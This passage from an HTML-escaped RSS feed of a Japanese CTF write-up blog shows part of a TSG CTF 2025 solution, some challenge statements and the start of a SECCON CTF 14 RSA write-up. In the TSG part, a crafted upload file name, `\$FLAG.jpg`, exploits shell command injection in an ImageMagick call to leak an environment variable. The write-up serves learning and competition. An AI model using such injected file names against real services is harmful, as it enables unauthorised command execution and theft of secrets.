&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">image&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">includes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;..&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">throw&lt;/span> &lt;span class="n">new&lt;/span> &lt;span class="n">Error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="err">`&lt;/span>&lt;span class="n">Invalid&lt;/span> &lt;span class="n">file&lt;/span> &lt;span class="n">name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">image&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">}&lt;/span>&lt;span class="err">`&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">const&lt;/span> &lt;span class="n">inputPath&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="err">`&lt;/span>&lt;span class="o">./&lt;/span>&lt;span class="n">tmp&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">inputs&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="err">$&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">escape&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">image&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">)}&lt;/span>&lt;span class="err">`&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">const&lt;/span> &lt;span class="n">outputPath&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="err">`&lt;/span>&lt;span class="o">./&lt;/span>&lt;span class="n">tmp&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">outputs&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="err">$&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">escape&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">image&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">)}&lt;/span>&lt;span class="err">`&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">console&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">escape&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">image&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">name&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">await&lt;/span> &lt;span class="n">Bun&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">inputPath&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">image&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">await&lt;/span> &lt;span class="n">run&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">`&lt;/span>&lt;span class="n">magick&lt;/span> &lt;span class="s2">&amp;#34;$&lt;/span>&lt;span class="si">{inputPath}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">quality&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">quality&lt;/span>&lt;span class="p">}&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">strip&lt;/span> &lt;span class="s2">&amp;#34;$&lt;/span>&lt;span class="si">{outputPath}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="err">`&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">const&lt;/span> &lt;span class="n">compressed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">await&lt;/span> &lt;span class="n">Bun&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">outputPath&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">arrayBuffer&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">set&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">headers&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;Content-Type&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">image&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">type&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">set&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">headers&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;Content-Disposition&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">`&lt;/span>&lt;span class="n">attachment&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">filename&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;$&lt;/span>&lt;span class="si">{image.name}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="err">`&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">new&lt;/span> &lt;span class="n">Response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">compressed&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="n">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">error&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">set&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">500&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="n">error&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="err">`&lt;/span>&lt;span class="n">Failed&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">compress&lt;/span> &lt;span class="n">image&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">error&lt;/span>&lt;span class="p">}&lt;/span>&lt;span class="err">`&lt;/span> &lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">finally&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">await&lt;/span> &lt;span class="n">unlink&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">inputPath&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">catch&lt;/span>&lt;span class="p">(()&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="p">{});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">await&lt;/span> &lt;span class="n">unlink&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">outputPath&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">catch&lt;/span>&lt;span class="p">(()&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="p">{});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">body&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">t&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Object&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">image&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">t&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">File&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;file-type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;image/*&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">maxSize&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;10m&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">quality&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">t&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Numeric&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">minimum&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">maximum&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">100&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">default&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">85&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">listen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">process&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">env&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">PORT&lt;/span> &lt;span class="err">??&lt;/span> &lt;span class="s2">&amp;#34;3000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">console&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">`🦊&lt;/span> &lt;span class="n">server&lt;/span> &lt;span class="ow">is&lt;/span> &lt;span class="n">running&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="err">$&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span>&lt;span class="p">}:&lt;/span>&lt;span class="err">$&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">port&lt;/span>&lt;span class="p">}&lt;/span>&lt;span class="err">`&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>また，Dockerfileから，FLAGは環境変数にあることがわかる．&lt;/p>
&lt;pre tabindex="0">&lt;code>FROM oven/bun@sha256:b5cf5ca5dc3e2a02d805802ba089401c4beabf597daabbf35a17b8e82dc2f7bc
# Install ImageMagick
RUN apt-get update &amp;amp;&amp;amp; \
apt-get install -y imagemagick &amp;amp;&amp;amp; \
rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy package files
COPY package.json bun.lock ./
# Install dependencies
RUN bun install --frozen-lockfile
# Copy application files
COPY server.ts ./
COPY public ./public
COPY lib ./lib
# Create tmp directory
RUN mkdir -p ./tmp
ENV FLAG=TSGCTFDUMMY{}
ENV PORT=3000
CMD [&amp;#34;bun&amp;#34;, &amp;#34;run&amp;#34;, &amp;#34;server.ts&amp;#34;]
&lt;/code>&lt;/pre>&lt;p>具体的には，ファイル名に&lt;code>\$FLAG.jpg&lt;/code>を入力すると，&lt;code>escape&lt;/code>関数によって&lt;code>$&lt;/code>がエスケープされ，&lt;code>\\\$FLAG.jpg&lt;/code>となる．&lt;/p>
&lt;p>このとき，内部動作としては，&lt;code>\&lt;/code>がエスケープされていることになり，&lt;code>$FLAG&lt;/code>で環境変数がよみこまれることになる．&lt;/p>
&lt;p>Burp Suiteなどで実行すると，flagが得られる．&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/tsgctf-2025/im02.png"
alt="This is a image"/>&lt;/p>
&lt;p>&lt;code>TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}&lt;/code>&lt;/p>
&lt;h3 id="library-227-solve-100">library [227 Solve (100)]&lt;/h3>
&lt;blockquote>
&lt;p>Our library&amp;rsquo;s new staff portal is up! Only the head librarian can access the restricted archives.&lt;br>
http://35.221.67.248:10501&lt;br>
library.tar.gz&lt;/p>
&lt;/blockquote>
&lt;h2 id="misc">Misc&lt;/h2>
&lt;h3 id="mission-impossible-106-solve-100">Mission: Impossible [106 Solve (100)]&lt;/h3>
&lt;blockquote>
&lt;p>The security system of CIA vault room is state-of-the-art.&lt;br>
There are a large number of pressure-sensitive, temperature-sensitive and audio-sensitive sensors.&lt;br>
And the terminal is operated by voice recognition.&lt;br>
http://35.194.98.181:57860/&lt;br>
mission_impossible.tar.gz&lt;/p>
&lt;/blockquote>
&lt;h3 id="sudoers-maze-100pts-143-solve-100">Sudoers Maze 100pts [143 Solve (100)]&lt;/h3>
&lt;blockquote>
&lt;p>Where am I? Who am I?&lt;br>
nc 34.180.66.205 55655&lt;br>
sudoers_maze.tar.gz&lt;/p>
&lt;/blockquote></description></item><item><title>SECCON CTF 14 Quals Writeup</title><link>https://stark2420.github.io/starknote/post/seccon-ctf-14/</link><pubDate>Tue, 16 Dec 2025 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/seccon-ctf-14/</guid><description>&lt;p>2025/12/13 14:00(JST) - 2025/12/14 14:00(JST)で開催された SECCON CTF 14 Quals に参加した．&lt;/p>
&lt;!-- 個人で参加し，結果は，1272 点で 880 チーム中 338 位だった． -->
&lt;p>大会終了後に解いた問題についてまとめておく．&lt;/p>
&lt;p>&lt;a href="https://score.ctf.seccon.jp/"target="_blank" rel="noopener noreferrer">https://score.ctf.seccon.jp/&lt;/a>&lt;/p>
&lt;h2 id="crypto">Crypto&lt;/h2>
&lt;h3 id="yukari-77-solve-112">yukari [77 Solve (112)]&lt;/h3>
&lt;blockquote>
&lt;p>yukari zone♡&lt;br>
nc yukari.seccon.games 15809&lt;br>
yukari.tar.gz&lt;br>
└─ chal.py&lt;/p>
&lt;/blockquote>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">chal.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.PublicKey&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">RSA&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">isPrime&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;flag.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;r&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1024&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;p =&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;q: &amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">p&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="mi">1024&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">isPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">64&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">d&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">q&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RSA&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">construct&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">n&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">d&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;error!&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;key setup successful&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>&lt;code>RSA.construct((n, e, d))&lt;/code>でエラーを発生させればよい．&lt;/p>
&lt;p>RSA.construct メソッドを含むソースコードを確認すると，$n, e, d$ から $p, q$ を復元していること．
$u = p.inverse(q)$ を計算し，$u \leq 1$ の場合はエラーを返すことがわかる．&lt;/p>
&lt;p>&lt;a href="https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/PublicKey/RSA.py"target="_blank" rel="noopener noreferrer">https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/PublicKey/RSA.py&lt;/a>&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">pycryptodome/lib/Crypto/PublicKey/RSA.py&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">省略&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Compute factors p and q from the private exponent d.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># We assume that n has no more than two factors.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See 8.2.2(i) in Handbook of Applied Cryptography.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ktot&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">d&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">e&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># The quantity d*e-1 is a multiple of phi(n), even,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># and can be represented as t*2^s.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">t&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ktot&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="n">t&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">t&lt;/span> &lt;span class="o">//=&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Cycle through all multiplicative inverses in Zn.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># The algorithm is non-deterministic, but there is a 50% chance&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># any candidate a leads to successful factoring.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See &amp;#34;Digitalized Signatures and Public Key Functions as Intractable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># as Factorization&amp;#34;, M. Rabin, 1979&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">spotted&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Integer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">spotted&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">100&lt;/span>&lt;span class="p">:&lt;/span>
